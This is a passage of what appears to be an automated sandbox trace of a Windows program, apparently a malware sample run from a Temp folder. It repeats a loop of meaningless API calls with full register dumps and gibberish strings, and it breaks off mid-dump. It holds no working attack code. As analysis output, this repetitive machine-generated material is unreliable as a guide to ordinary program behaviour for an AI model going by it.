	[0066.310] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.310] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.310] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.310] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.310] GetConsoleCP () returned 0x0
	[0066.310] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.310] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.311] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.311] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.311] GetConsoleCP () returned 0x0
	[0066.311] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, 